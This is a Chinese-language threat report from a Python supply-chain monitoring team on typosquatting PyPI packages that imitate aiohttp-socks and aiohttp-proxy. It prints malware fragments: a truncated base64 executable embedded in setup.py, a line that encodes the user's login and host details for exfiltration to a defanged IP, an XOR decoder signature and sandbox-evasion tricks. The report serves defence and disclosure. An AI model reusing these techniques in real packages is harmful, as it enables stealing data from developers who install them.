【天问】近期针对aiohttp包的typosquatting攻击汇总
/ / 点击 / 阅读耗时 8 分钟2022年3月9日,天问Python供应链威胁监测模块捕获到一个typosquatting攻击aiohttp-proxy的恶意Python包aiohttp-proxies,这是天问自2月21日以来第三次监测到类似攻击手法,前两次攻击为知名包aiohttp-socks的typosquatting恶意包aiohttp-socks4和aiohttp-socks5,经过分析之后我们迅速向官方提交了恶意包链接,目前所有包均被官方确认并移除。攻击包出现及被移除的时间轴如下所示。
aiohttp-socks5
攻击者于2022年2月21晚上传首个版本0.7.1,其代码内容全部复制知名包aiohttp-socks,且其在setup.py中引用aiohttp-socks的官方Github链接,使其更具有迷惑性。同晚,攻击者上传恶意版本0.8.1-0.8.5,除复制知名包的代码以外,攻击者在setup.py内写入字符串“metadata”,当用户安装恶意包时会释放可执行文件pip_installer.exe并执行。如下所示(metadata仅截取部分内容)。
1 | metadata = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABLuc' |
pip_installer.exe 分析报告
0x0 基本信息
文件名:pip_installer.exe
文件类型:PE32+ executable (GUI) x86-64, for MS Windows
CRC32: C7A21554
MD5: 3A95EAB6064739835EB935E0A5D44021
SHA-1: 608AECB603CA4DDD15CDB8EDE15890EB8637286A
SHA-256: 2962861B1EDF9F4736F060440376D7AF47593D9DD31E44B74E44411139882300
SHA-512: A2775910277EE1FF4E0BE7042E717FF09C282257272509B606AED1BB3F97C536BA9C0D190079B36A001BD7758BBB43686A15364848C69F9CD2EDD45A306FF0EB
0x1 运行逻辑
该样本的实质是一个loader,其主要逻辑如下:
首先,创建文件 C:\ProgramData\774ab55440.exe ,后通过异或算法解密数据段中的加密PE文 件,将解密后的代码写入774ab55440.exe 文件中,完成EXE文件落地,最后通过调用 ShellExecuteA 函数启动子进程。
异或算法逻辑还原如下图所示。
文件名:774ab55440b.exe
文件类型:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
CRC32: 75400508
MD5: 7FE5011E10D3AE6A3E670963B3798FCE
SHA-1: 9BC220C80D811F3762802728C4651172318B9DE3
SHA-256: 13F0F253EAD44166CFD35ACD2C84490A03E695E89C9F3211DF3A7B0B22A8B8B4
SHA-512: 2EA4DD2DF10EE6F55CC0D5E6375F52A5B5E1A49F4C60DBBBCEF1639D7CDB12B7582526775887F1359550E7B9A6A2F7D446632D09426C528C868CED1A85726592
子进程沙箱分析报告:天穹动态分析沙箱 | 分析报告
在0.8.5版本之后,攻击者后续上传了10余个支持检测操作系统的版本,并将敏感信息回传至 hxxp://114[.]24.115.170:8080,如下所示。
1 | data = base64.b64encode(bytes(f'{os.getlogin()}&{plat_def()}-{plat.release}&{plat.node}&{plat.processor}', 'utf-8')).decode('utf-8') |
aiohttp-socks4
攻击者在aiohttp-socks5被删除三天后2022年3月1日凌晨上传恶意包aiohttp-socks4,其版本号从0.8.24开始,延续aiohttp-socks5被删除之前的最后一个版本0.8.23,其主要行为与aiohttp-socks5相同——将可执行文件通过base64编码写入setup.py并在检测版本之后将敏感信息回传。
aiohttp-proxies
攻击者在2022年3月9日卷土重来,上传恶意包aiohttp-proxies,其setup.py内代码与前两次攻击大致相同,但其对exe文件进行了更新,具体信息如下所示。
executable45.exe 分析报告
0x0 基本信息
文件名:executable45.exe
文件类型:PE32+ executable (GUI) x86-64, for MS Windows
CRC32: 899AD56B
MD5: 4AD0DC65BDEAAB4F1F51AAEDBF5A8537
SHA-1: 875D63689DC302897C866F1156FF108E6C38CBD9
SHA-256: 1BD755D8E0623B4F391E55BF1334683F3EE15019FC2CAE2DF2F59715C26E7940
SHA-512: D4751AD46A74CDE18A50BC58F2D641C4F7C8637937B06DB31B20154DD4136A6B70420ED46D24D52F2C6AAF8B52F8FB20895AC597526400BA23A3338FCF48FC2A
0x1 运行逻辑
该样本是样本pip_installer.exe
的一个变种,其核心逻辑完全一致,实质为一个loader,落地释放并运行C:\\ProgramData\\e51c15bb931c8.exe
文件
异或算法逻辑还原如下:
1 | void xor_decode(QWORD *key, CHAR *buf, int BufSize) |
此外值得注意的是,攻击者新加入了大量调用MessageBeep
等win32函数的逻辑以达到延时效果,来躲避沙箱分析。
解密后得到文件e51c15bb931c8.exe
的详细内容:
文件名:e51c15bb931c8.exe
文件类型:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
CRC32: 4902BA76
MD5: CFEEA21674B2A015512DD3D77D5A9DB4
SHA-1: 49AEF5F38DE920A752EEBA01817314467A1A4396
SHA-256: A780D5976926F0DD2D9AA7AEBD5AA30B44A9431C4E47488F8A463B04C16104F9
SHA-512: 2797EEF6B80EDCEB3D339284485FEFDAA9D541E44D121F554BE5C913366087AD4F64CCD9030999CB2675C2EE54A8D81C2FBE88FBBE653CD64D0A75AFCE64F935
子进程沙箱分析报告:天穹动态分析沙箱 | 分析报告
攻击影响力
攻击者这几次选择typosquatting的都是知名包,这些包及恶意包周下载量如下所示。
包名 | 周下载量 |
---|---|
aiohttp-proxy (正常包) | 2813 |
aiohttp-proxies (恶意包) | 323 |
aiohttp-socks (正常包) | 42879 |
aiohttp-socks5 (恶意包) | 684 |
aiohttp-socks4 (恶意包) | 313 |
幸运的是,在正常包后面添加多余版本号的typosquatting行为(socks4、socks5)并没有起到很好的混淆作用,受攻击的用户也仅在1%左右。